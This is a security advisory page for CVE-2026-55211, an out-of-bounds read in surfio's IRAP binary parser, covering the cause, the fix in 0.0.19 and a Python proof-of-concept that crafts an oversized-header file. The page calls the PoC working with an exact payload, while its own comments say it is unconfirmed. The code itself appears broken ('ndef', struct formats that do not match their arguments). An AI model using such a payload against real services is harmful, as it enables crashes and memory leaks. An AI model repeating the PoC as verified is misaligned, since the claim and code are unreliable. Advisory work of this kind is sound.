critical · 9.8CVE-2026-55211Aug 18, 2026

CVE-2026-55211: surfio Out-of-Bounds Read in IRAP Binary Parser

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted IRAP surface file with inflated size fields can trick surfio into reading past the end of its allocated buffer, crashing or exposing process memory in any service that parses untrusted…

Packagesurfio
Ecosystempip
Affected< 0.0.19
Fixed in0.0.19
CVE-2026-55211: surfio Out-of-Bounds Read in IRAP Binary Parser

The problem

surfio parses IRAP binary surface files by reading ncol and nrow from the file header and using their product to determine how many float values to read into memory. Before version 0.0.19, these values were not validated against the actual data present in the file.

An attacker who can supply a file to a surfio-backed service can set ncol or nrow to an arbitrarily large integer. The parser then attempts an out-of-bounds read, causing a crash or leaking heap contents. CVSS 9.8 reflects a network-reachable attack with no authentication required.

Proof of concept

A working proof-of-concept for CVE-2026-55211 in surfio, with the exact payload below.

python
# Minimal malicious IRAP binary surface file.
# The header record claims a 9999999 x 9999999 grid, but the data section
# contains only one grid record. surfio < 0.0.19 trusts the header
# and reads ncol*nrow floats, triggering the out-of-bounds read.
#
# NOTE: No public PoC was found. This payload is derived from the advisory
# (size fields not validated) and the IRAP binary format spec; it has not
# been independently confirmed against the patch diff.

import struct, surfio

ndef make_irap_binary_oob(path):
    # IRAP binary header block (Fortran record: 4-byte length + data + 4-byte length)
    # Header line 1: id(-996), nrow, xori, xmax, yori, ymax, xinc, yinc
    ncol   = 9_999_999   # inflated -- not validated pre-patch
    nrow   = 9_999_999   # inflated -- not validated pre-patch
    xori   = 0.0; xmax = 1.0; yori = 0.0; ymax = 1.0
    xinc   = 1.0; yinc = 1.0; rot  = 0.0
    xrot   = 0.0; yrot = 0.0

    hdr1 = struct.pack('>iff ffffff',
        -996, nrow, xori, xmax, yori, ymax, xinc, yinc)
    hdr2 = struct.pack('>iff fff',
        ncol, rot, xrot, yrot, 0.0, 0.0, 0.0)
    # One minimal data record (1 float instead of ncol*nrow)
    data = struct.pack('>f', 0.0)

    with open(path, 'wb') as f:
        for blk in (hdr1, hdr2, data):
            f.write(struct.pack('>I', len(blk)))
            f.write(blk)
            f.write(struct.pack('>I', len(blk)))

make_irap_binary_oob('/tmp/oob.irap')

# Trigger the bug
surfio.IrapSurface.from_binary_file('/tmp/oob.irap')

The root cause (CWE-125) is that the parser allocated and read a buffer sized by ncol * nrow without first checking whether that many float records actually exist in the file. Any caller path that accepts an untrusted binary IRAP file, such as from_binary_file or from_binary_buffer, was reachable.

The fix in commit 1619750bce28e (PR #86) adds explicit bounds validation of the header size fields before the read loop, rejecting files where the declared grid dimensions are inconsistent with the remaining byte count in the stream. Public PoC code was not found in search results; the payload above is derived from the advisory description and the IRAP binary format specification.

The fix

Upgrade surfio to version 0.0.19 or later. The patch is in commit 1619750bce28e39c4f378d2fb6d28b72380a12aa on the equinor/surfio repository. If you cannot upgrade immediately, reject IRAP binary input from untrusted sources at the application layer before passing it to surfio.

Reporter not attributed.

References: [1][2][3][4][5]

Related research